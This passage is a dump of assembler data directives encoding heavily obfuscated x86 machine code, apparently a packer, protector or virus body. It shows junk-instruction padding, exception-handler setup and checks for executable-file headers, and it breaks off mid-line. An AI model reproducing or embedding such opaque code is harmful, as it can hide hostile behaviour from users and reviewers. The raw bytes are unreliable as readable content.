0C3554500h, 4CFBB30Ch, 7E9h, 0BF208700h dd 1EE68748h, 9CD7C4BEh, 4E8C164h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 92C35646h, 660AE239h, 6AE2F7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 7440AAC3h, 0B1958929h, 8906220Eh, 220F91B5h, 6AD82B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0D64CC351h, 1A0EA74Ch, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 2BF58C51h dd 0EC880FD8h, 0F000000h, 7B9F6B7h, 81000000h, 6E9BFEF6h dd 0C18350h, 68E0Fh, 9D890000h, 6221651h, 860FD93Bh, 0C7h dd 6C1B58Bh, 8C660622h, 50006AD9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 899D0A59h, 2233459Dh dd 4C1F606h, 71840Fh, 6E90000h, 0CE000000h, 0F4DFA8BAh dd 0D19531B9h, 0FF062210h, 2220C995h, 559D3106h, 5B062205h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h dd 46F2F346h, 0ABD5B1D1h, 0B70F601Fh, 96CF80C9h, 0BEC32B61h dd 7985445Dh, 8343Dh, 14860F00h, 0F8000000h, 2EE9h, 0B70F6000h dd 0F6BF0FC9h, 7DBD3361h, 8B062202h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8B84618Fh dd 66D88BC3h, 85C7F88Bh, 6222965h, 3B565555h, 0C24CBF66h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0BAE7F9C3h, 66F67467h, 0BD81FA8Bh, 6220F99h dd 7D0h, 2C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0A8A87C3h, 0BD2992E0h dd 6220195h, 0F9985FFh, 0B5FF0622h, 6220F99h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 88C35141h, 0D85EB253h dd 6444BF95h, 95FF7337h, 6223075h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 4BC35343h, 0C6163C55h, 8166F5ECh dd 8B8CADF7h, 22198DB5h, 6A9006h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0EBBF79C3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EAC35141h, 85781BC8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 10C35646h dd 92F64938h, 0A5BD8BF5h, 6A062213h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FD8CC352h dd 918B5298h, 9E6B7DBBh, 8BF18B66h, 0F7B70FFBh, 6AFE8B66h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 9D49C353h, 0BA900ADh, 6950E671h, 59B501h dd 81660622h, 6A919CDEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 606AC352h, 0BF666C63h dd 6A706Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 231298C3h, 0B2ED3F49h, 0E59D0968h, 66062200h dd 0F576DABFh, 13E9h, 22E50800h, 0ED6C3048h, 1E185B11h dd 3A83DA0Fh, 494B9DDh, 0FFF84BE9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 55FC1024h dd 71E9BF07h, 953360F4h, 6222995h, 4880Fh, 0B9660000h dd 8B615F90h, 199D89C1h, 0EB06222Ah, 4, 45858900h, 0F062230h dd 8B66F6BFh, 0B5858DF2h, 6A06222Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8939C356h dd 2233E5BDh, 66509006h, 900E99BEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D8C35242h, 0DF27AA16h, 6ADC79FDh dd 0D59D8900h, 6A06222Fh, 0F0B70F00h, 29CD858Dh, 6A0626h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0F68336C3h, 6E07CE64h, 0E7816C9Dh, 481D4631h, 0F805C083h dd 89F98B50h, 8A0F2404h, 6, 0EC1BD8Bh, 6A0622h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C9C35242h, 89A73228h dd 222135BDh, 0F8006A06h, 355595FFh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8DA9C1C3h dd 25A90F9Dh, 4FCF8106h, 0FF5DC559h, 5D8D29D3h, 0FF062219h dd 2208B185h dd 39BE6606h, 88FE9D8h, 0E80000h, 5D000000h, 29D7ED81h dd 6A0626h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 7C14DBC3h, 813EA10Eh, 99BD81F5h, 0D006220Fh dd 0F000007h, 17186h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 6E639A74h, 1DCB07E1h dd 0BD2313D6h, 6221461h, 6E9h, 35C66100h, 5099221Ch, 0A19D8B5Fh dd 6A062214h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8CF1C350h, 0D6EFD0F3h, 0B58BEAFDh dd 6220721h, 8DBD8960h, 81062220h, 428CB9F2h, 0E381615Eh dd 100h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 1DC35747h, 8B0FBF66h, 850FDB0Bh, 89h, 5FF98B52h dd 28ADBD83h, 0F000626h, 5D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 62B9631Bh dd 4A094F7Bh, 76C68166h, 0DDB58B3Eh, 0E9062232h, 6Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 35C35242h, 0F698D1CFh dd 61BD8B53h, 6606221Ah, 85C7FA8Bh, 62628ADh, 1, 20B19589h dd 2BE90622h, 29000000h, 220B0D9Dh, 0AD85C706h, 62628h dd 2B000000h, 223495BDh, 10E906h, 0C2F00000h, 32F22727h dd 0E5FC0D9h, 0DB1A25C2h, 9D8DC578h, 62214A1h, 81BD8B53h dd 5F062225h, 0FEFF2381h, 800FFFFFh, 6, 755BD23h, 8C660622h dd 98D29DBh, 0F6062215h, 840F04C3h, 7Bh, 840Fh, 0CE90000h dd 0E000000h, 0C94E4FAAh, 888EE78Dh, 0FF36D024h, 2220C995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 4E315B18h, 29F4A49Bh, 2219858Dh, 0AE99006h dd 0A6000000h, 64CDE575h, 270E6A1Fh, 6A905063h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 308DC351h, 6382657Bh, 0E9E5C9D6h, 406h, 70E600B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9DC35646h, 0F71E4C1h dd 686h, 19DF8100h, 0F1E0578h, 6AD8B6h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D73162C3h dd 0DBD9AF48h, 294ACE31h, 2211658Dh, 6BA06h, 0E8510000h dd 11h, 4C2B42DAh, 580F6CEAh, 0C8CD013Dh, 55B9FCD4h, 0E3A6BE52h dd 5E5F218Fh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 6D9EA8C3h, 3E8A83EAh, 0E8C757B4h dd 0Eh, 9EC23187h, 0BAC4EC87h, 58BADE26h, 0BD8BD27Eh, 6222C6Dh dd 4BCE815Eh, 0C126CF08h, 0CE8104E8h, 53EEC59h, 8D0Fh dd 0F7660000h, 52006AE2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0CF9D635Fh, 0BF66C8A9h dd 0D82B88AAh, 33EDB58Bh, 0BF500622h, 54E37E4Ch, 6A241C89h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E767C356h, 563DF788h, 1622732Ch, 0F99B5FFh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 749A87C3h, 50935FFBh, 68E0Fh, 0F7810000h dd 59989CCCh, 307595FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 441D41C3h, 0B5526A9Bh dd 9D29A652h, 62207B1h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BD8B7DC3h, 6222015h dd 0BD8B70E6h, 6220791h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 6DBB21C3h, 0E9E1D085h dd 7, 47EBAED4h, 3C85D34Ah, 0B830F61h, 66000002h, 0FDBB1BFh dd 0B70FD8B6h, 6BAF9h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B70F7CC3h, 0CFD681F9h dd 8B4D83F3h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0FE6BEBFh, 0A85h, 5E900h, 0D5FC0000h dd 0C1C3BD48h, 0FB8B04E8h, 0E9E2F766h, 6, 6AF3BEC2h, 0BD8BF99Ah dd 6220299h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 54C257C3h, 66BF66FCh, 6A5872h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E97452C3h, 0Eh, 0CE8B117Dh, 847790BCh, 3D44BFCCh, 0D82BCFD5h dd 130880Fh, 9D290000h, 6222601h, 7B9h, 0F98B6600h, 0C183F9h dd 5C9BD89h, 0D93B0622h, 110860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 75E2D2C3h dd 0FA23D5F9h, 0F491A83h, 48Ch, 21BE6600h, 890F76h, 66000000h dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 68AA81C3h, 0C1F6C0F4h, 89840F04h, 66000000h dd 0BD2BF98Bh, 62214EDh, 20C995FFh, 0B58B0622h, 62213EDh dd 8A0Fh, 6A5B0000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 8BFAC356h, 8E9h, 65698D00h, 52FFC2D8h dd 0A1BD89B8h, 2B062218h, 57006AC3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0B31CF4D4h dd 1490230Bh, 8343DD3h, 860F0000h, 0Ch, 0FEC78166h, 28E90Ch dd 0F18B0000h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 25CE92C3h, 2A58D89h, 0C38B0622h dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 335E7C3h, 29119D89h, 85C70622h, 62207ADh dd 10A77FFBh, 13E8h, 0F895C700h, 5D6C80A1h, 0CFF4A5BAh dd 7E891926h, 461F3091h, 5E8h, 493CB600h, 8B669102h, 8B5E5EFAh dd 1B8A0FC0h, 0E8000000h, 13h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh dd 0A50059E4h, 51ED5502h, 0BD815F5Fh, 6220F99h, 7D0h, 4E850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 19C8F8C3h, 0DC72568Bh, 85FFF38Bh, 6220F99h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A3C35141h dd 0EF819089h, 5D9B16ECh, 0F99B5FFh, 6A0622h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0CD587FC3h dd 0C4D5D099h, 0BE3CCDCDh, 7B92ACDBh, 2C4D9D89h, 95FF0622h dd 6223075h, 0C8F0Fh, 8B0F0000h, 6, 2911B58Bh, 0F900622h dd 0BE66FAB7h, 6AD318h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0A7DBF7C3h, 6263EED7h, 840FABCDh dd 6, 26018D89h, 6A0622h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0BF6BF5C3h, 224D8FC1h dd 128E0Fh, 8A0F0000h, 6, 26259589h, 9D290622h, 6221AFDh dd 1581B58Bh, 850F0622h, 8, 2800Fh, 0F18B0000h dd 85296060h, 62213EDh, 0E18194B4h, 260E3147h, 1B58961h dd 0F06221Dh, 8B61FBBFh, 22063DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E341C0DBh dd 0D865698Dh, 0ADB58BC2h, 60062202h, 1A840Fh, 14E80000h dd 19000000h, 6591CD40h, 2E28B5B0h, 0ED281AC0h, 676743B5h dd 5877865Bh, 12E9h, 63308500h, 671F57BCh, 5B174003h, 4ED891D6h dd 6652213Ch, 61FF3ABEh, 0FFF77DE9h, 0F1BD03FFh, 1062204h dd 2234AD85h, 0BD8B6006h, 6221A11h, 0FFFFFEB9h, 0E88166FFh dd 8D21D584h, 6220055h, 58EB8160h, 602B4676h, 321B58Bh dd 81660622h, 6165E3F0h, 9D8D2161h, 52062215h, 2C98589h dd 535A0622h, 2C35BD09h, 8B5F0622h, 2200558Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 7D0A39AAh, 0F19533E4h, 83062231h, 850F01E1h, 38h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4EC35747h, 0ACF4A49Bh dd 5229F058h, 0EE9h, 19686500h, 0A3EE8EBh, 266915Ch, 5BB3A9D8h dd 159D8D8Bh, 858B0622h, 622108Dh, 0F01E183h, 1C85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8B60611Ch, 22267195h, 0FFFEB906h, 8B66FFFFh, 358D21D9h dd 6A062206h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 6279C353h, 987754BBh, 0E3C667ECh dd 0EBDBD89h, 11E90622h, 0F2000000h, 676B3B9h, 2E281F6h dd 0A881FC7Ch, 8473AE0Ch, 5618D21h, 6A0622h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C68A66C3h dd 0EF84C881h, 8D8B1874h, 6220635h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0ACC35242h, 93EA5DDCh, 11919D89h dd 0E1830622h, 26850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A62EC357h dd 292B41B8h, 2215D185h, 618D8B06h, 6A062205h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 8D86C356h, 1E183F8h, 27850Fh, 8B0F0000h, 21h, 39950160h dd 0E8062221h, 13h, 0B780124Fh, 717CC5Ch, 9AD8CD11h, 93273E4Fh dd 5BC024B8h, 81606161h, 0EDFC77D0h, 0FFFEB965h, 858BFFFFh dd 62209F5h, 4198D21h, 33BB0622h, 215C47ABh, 2229658Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 6674571Bh, 85234A4Fh, 6223369h, 8BF18B66h dd 2204198Dh, 94BB6606h, 1E18382h, 0C850Fh, 800F0000h dd 6, 161D858Bh, 8D8B0622h, 6222965h, 7E26F081h, 0E18302E4h dd 5850F01h, 66000000h, 0C220EA81h, 34E961h, 5A330000h dd 7B0Eh, 0Bh dup(0) dd 32E90000h, 40000005h, 0A6EB023Dh, 121F76D5h, 8AB7DE6Dh dd 0E42D44FFh, 6442AD9Ah, 4434B84h, 69D6A4EDh, 0DC67111Eh dd 47008CB5h, 0D854252Ch, 411C0EB0h, 7771B165h, 0ECE93A05h dd 316FDCAFh, 0AEB98608h, 0F3201B61h, 0AFFBB196h, 42473A3Bh dd 800C356Bh, 0C7196C7h, 3A3B4890h, 0D20EAD47h, 2069E497h dd 74B7F627h, 0C2810A27h, 90B87491h, 85473A3Bh, 0A996F936h dd 0C721D064h, 1C5C9563h, 0A0CB7418h, 47E9EE57h, 0D13E0DA1h dd 29126683h, 9CA7D1DEh, 0EB58224Fh, 0CC78358Eh, 7CD8B6A6h dd 0A1E80520h, 573875A6h, 79AA99E6h, 98AAFB3Ah, 75DF5395h dd 0C0C86C8Ch, 59236C87h, 0DCEFBDEEh, 76473A58h, 275A6D8Bh dd 0B251F379h, 64h, 3A057798h, 3B0D5BE9h, 5EA3473Ah, 0DB7AF71Ah dd 15F51F3h, 0C7000000h, 16470477h, 0C8108CF1h, 69473A3Bh dd 83A56ADFh, 0BFFE4383h, 14335861h, 64DFAAC7h, 15B54203h dd 0B219A2FDh, 40A95F6Eh, 0A3D72428h, 98DEEA82h, 7833473Ah dd 0ADDE1B39h, 1E51EE90h, 79C2CAF7h, 4824096Eh, 473A9820h dd 0EABAE6D5h, 0DF380777h, 4E9FACD2h, 0FC17562Fh, 905210C7h dd 87F4394Ch, 0C34C6BB8h, 40FF8FA5h, 0AB94F829h, 0B73A414Eh dd 776DF22Bh, 306CAF1Ah, 118BF015h, 473A99C9h, 0A5913B2Ch dd 0CE6FDA93h, 6728518Fh, 0D72BFD8h, 92CEED3Eh, 0DC1CC54Bh dd 0F35FC8B5h, 8C0D51h, 6BA80000h, 9DEE2320h, 0E23E7DAEh dd 38077752h, 30B9C6EBh, 54B9345Dh, 50A9E8E7h, 0A396F7h dd 0E937D629h, 0ABCD24DCh, 8C600589h, 473A5B7Ch, 5B87D349h dd 436A473Ah, 157CBFFEh, 0B0E5622Ch, 0E0350E7Bh, 0C547A128h dd 5BFC0CE0h, 9BE1473Ah, 0F3073A0h, 0BD9BD7ACh, 29B49DBDh dd 1B3E23EBh, 609B51F3h, 83000000h, 0EB380777h, 0C71389EEh dd 2A473A3Bh, 64145D83h, 13658ADBh, 0C3B6FB28h, 30C2B78h dd 101D41E5h, 15325CD8h, 47720FAh, 35461647h, 2A473A3Bh dd 8E35F5Eh, 89678D85h, 0A0E80556h, 503976A7h, 5787A6F7h dd 0F0889EDAh, 0ADA0E701h, 0C451F36Ch, 58FD0D9Fh, 9D10473Ah dd 1DE47h, 77440000h, 0C5EA3B08h, 9A6B8CB7h, 349CF544h dd 8FDE0202h, 989CDC85h, 0DF2148F7h, 7DBADF24h, 0C4E7340Fh dd 0D0A37998h, 0BD4918C4h, 0FC80ADFEh, 95E72843h, 3A6BD4A4h dd 6E6BB8FBh, 0BFEC5721h, 7086207Ch, 7441189Bh, 0D7A57FF9h dd 701C056Ch, 236986D7h, 0CAB2FF18h, 0D3012C71h, 86E26F8Ah dd 236BDEAEh, 688AE524h, 4BD13BF5h, 141C0h, 0AB584E00h dd 0AA690364h, 9B49182Ah, 8DDE6D1Eh, 0B1FE2F6Eh, 281970CBh dd 4D8ADB64h, 722A3B40h, 41180926h, 7CA1E0CBh, 0B6C6E331h dd 1019588Dh, 369374D8h, 74619893h, 0B4D8E13Fh, 9FD2608Bh dd 3A4BD15Ch, 3Eh, 27525FE0h, 0DA96C01Ch, 72A67693h, 6711736Ch dd 25750754h, 1BC73A3Bh, 0BBB59ADEh, 0E12E1374h, 1761AE9Dh dd 0E256F02Ch, 0F91736Ch, 3B26722Ah, 0E0CB473Ah, 0DF3685BCh dd 0BD00h, 0AB58F200h, 0E322216Ah, 0FD3D3D86h, 20EAF873h dd 7C0F9DFCh, 914918CEh, 0D8A4C91Ah, 3987D349h, 382E4119h dd 3E40506Fh, 6A1491AEh, 2A6D88DDh, 0ED9F80EBh, 0DE730152h dd 3F411973h, 82AFFC4Bh, 6E1A4BF8h, 9DC16583h, 0F54E3B78h dd 46018BA0h, 4997D615h, 5F8488E0h, 1972BDCDh, 75D5041h dd 5EA992FAh, 0D93E857Eh, 76D1A7F4h, 0C7800825h, 8C8E5884h dd 954F3F6Eh, 0D4B8F526h, 0FFEBD9D1h, 0F53A6226h, 5479B883h dd 99CA7507h, 0CB182754h, 386DD6A6h, 0E6A97FDh, 27413018h dd 85E23122h, 554C3517h, 0D513F445h, 85307F6Eh, 96251C40h dd 31889071h, 5748EFCCh, 84D81B28h, 0E65FC35Bh, 904C45ACh dd 0BE10668h, 473AC8FFh, 13459B12h, 53673560h, 0C6473AC8h dd 6E53B4F7h, 0EA877495h, 8355A117h, 473A1777h, 8CCD139Ah dd 1C0B3E10h, 5B882349h, 0B2DD6616h, 454AFF8Dh, 5796D506h dd 0BAA97606h, 34151207h, 941198E7h, 1914C2F9h, 0F73667A6h dd 2977D4BAh, 8CA8C0h, 716267FDh, 0C0E3300Bh, 63C2C73Bh dd 0C4CAC720h, 9365987h, 466BB883h, 71DB0833h, 0E05F2B68h dd 0C52C70B3h, 40FB81A3h, 19A0EA27h, 41FB126Dh, 0F52659A4h dd 38696AB6h, 0A7BAEB54h, 3, 7773CB8Fh, 0C3E83D06h, 105D8EB9h dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h dd 0F03D6EDDh, 696FBC8Bh, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 5E682404h, 89000021h, 30682404h, 89000006h dd 0EC83243Ch, 242C8904h, 0FD2623BDh, 0F14B801h, 0E8010429h dd 3C8B545Dh, 4C48124h, 53000000h, 803FC5BBh, 0BDEB8145h dd 145803Fh, 5B0389FBh, 56243C8Bh, 0C681E689h, 4, 8704C683h dd 0FF5C2434h, 83582434h, 7CE904C4h, 0B6FFFC48h, 39F4B8DEh dd 0C5030626h, 55B4E0FFh, 2CF926E6h, 72F63668h, 99C24993h dd 0C2FD4150h, 0AEBE7F10h, 0A7144B92h, 0E4114FEBh, 905C0281h dd 0BC641DEh, 11DA4C36h, 830451A1h, 12D74D56h, 0FBA51D78h dd 0C7CF2476h, 87C1614Dh, 7DA16D0Fh, 0D3AF68A4h, 5EB82169h dd 6A6052C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6089C351h, 0FEB9DE48h, 0E9FFFFFFh dd 8, 0B958DBBAh, 92025079h, 14A18D21h, 958B0622h, 6221DB1h dd 7AD8D21h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 48BC66C3h, 0BF48201Ah, 16DC877Bh dd 14A18D8Bh, 0E2810622h, 77023D18h, 2D358589h, 0E1830622h dd 24850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0CADBC356h, 49B5893Dh dd 8B062202h, 2207AD8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 59DB8066h, 1BE18D89h dd 0E1830622h, 6850F01h, 2B000000h, 220E71BDh, 6A606106h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 3D08C355h, 0C7B3E071h, 220F9985h, 7D006h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 15F4DB56h, 376C7246h, 52F78A5Bh, 1575958Bh dd 61590622h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2DC35040h, 96FDC56h, 220A0185h, 6107EB06h, 0E99Dh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0CA5BFBC3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0E4C35545h, 75E9C18Bh, 60000000h, 0A8D88C66h dd 35840F04h, 6A000000h, 0A9B5FF01h, 8D062233h, 257DBE85h dd 89D0FF06h, 22078185h, 0C1FE8B06h, 680CEFh, 6A200400h dd 57026A00h, 1000D68h, 8195FF00h, 0E9062207h, 32h, 330985C6h dd 68560622h, 0A9C530DFh, 2649B5FFh, 858D0622h, 6257DBEh dd 8589D0FFh, 6222441h, 19E1858Dh, 6A500622h, 56056A20h dd 244195FFh, 0C3610622h, 0BA06E0C1h, 0F008F000h, 0EA81h dd 0C283F000h, 91958914h, 83062220h, 858D14EAh, 6263D89h dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 8D8589C8h, 3062211h, 0B70F3C40h, 95890650h, 6222179h dd 8950508Bh, 22117D95h, 0F80506h, 508B0000h, 89D1030Ch dd 221BF595h, 8500306h, 0AC99589h, 8F640622h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 1875BD83h, 0F000622h, 2484h, 985C600h, 47062233h, 9AA7D268h dd 49B5FFD4h, 8D062226h, 257DBE85h, 6AD0FF06h, 89D0FF00h dd 2217FD85h, 0E8D38B06h, 14h, 0D1B7DBA7h, 7BB96A50h, 277EA77Ch dd 0B5FD8353h, 0F494A953h, 0C3B70F53h, 0C1815958h, 636Fh dd 0BBF2BF0Fh, 18AEh, 0FFC38B66h, 0C9B86631h, 8B665AFCh dd 71F281C3h, 600BD561h, 6053D88Bh, 81615E61h, 9B4CA0C2h dd 13870F25h, 0E9000000h, 0Eh, 2214C18h, 8BC744F9h, 43798A74h dd 0C281130Bh, 4027928Bh, 52F7B70Fh, 18F88B0h, 61E981F9h dd 0E824C58Ah, 7, 51A64908h, 8BC4C2E7h, 0C1815EF8h, 24C58A5Dh dd 4BC1BF0Fh, 18850Fh, 0C38B0000h, 1EE9h, 0D7E63E00h, 95D1A227h dd 1B7F1822h, 99F52B91h, 8B66ACE8h, 0FF75E9F8h, 8B95FFFFh dd 60747E22h, 1395BD8Bh, 0C08B0622h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 3FC35545h, 90D43CB3h, 9CC110FFh dd 0DDBD8339h, 62208h, 0BD830975h, 6220A21h, 50197400h dd 0B8C08B53h, 438h, 1B398589h, 9D8D0622h, 624BFC9h, 585BD3FFh dd 0A21BD83h, 74000622h, 0B8535017h, 438h, 1B398589h, 9D8D0622h dd 624BCB8h, 585BD3FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0C9C35242h, 0A51FA5A7h, 6AF28B66h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3D2C353h, 562A1CBDh, 0B97C5733h, 57439807h, 0C08BF88Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 13C35545h dd 4FCA3D83h, 26E8156Eh, 6A000009h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 66B4C352h dd 0B514320Fh, 95898764h, 622133Dh, 34A58589h, 0F2E80622h dd 6A000008h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 5612C357h, 0CE9h, 0CB8BBC00h dd 735290F1h, 0A974C008h, 2DB96637h, 8985898Ch, 6A062206h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 8432C350h, 96E87999h, 8B000008h, 2212A9B5h dd 9D858906h, 6A06221Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 4C83C356h, 0E8742922h dd 865h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 21C35141h, 66825CADh, 661F60B9h, 8589C88Bh, 6221311h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8EC35040h dd 129E67B4h, 813E8F9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0C5823FC3h, 0A820Fh dd 8A0F0000h, 4, 574BBF66h, 4B98589h, 14E80622h, 45000000h dd 0BD6BCAF1h, 0E845B474h, 92A4E9C8h, 64631886h, 60DC4C25h dd 0E9D8B70Fh, 9, 277F148Ch, 4AEF949Ah, 0E85F61CBh, 7ADh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B2C35545h dd 1525EACh, 77271214h, 89F28B95h, 22128185h, 77BE806h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8B66D1C3h, 0E58589FBh, 89062201h, 220A9985h dd 74BE806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 60ADFDC3h, 0F117660Ch, 6810F04h dd 23000000h, 222D09BDh, 85858906h, 6A06220Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9AD3C352h, 5B4097E8h, 0EF5B58Bh, 0EAE80622h, 6A000006h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F4CC352h, 148Ah, 0FE900h, 4DD10000h, 36E0CEE7h dd 0BE655F3Dh, 0B54AD9CCh, 0DD8589BAh, 0E806222Ah, 6A9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E0C35545h dd 5E9E1h, 89330000h, 895C4480h, 2225ED85h, 57006A06h dd 3E8h, 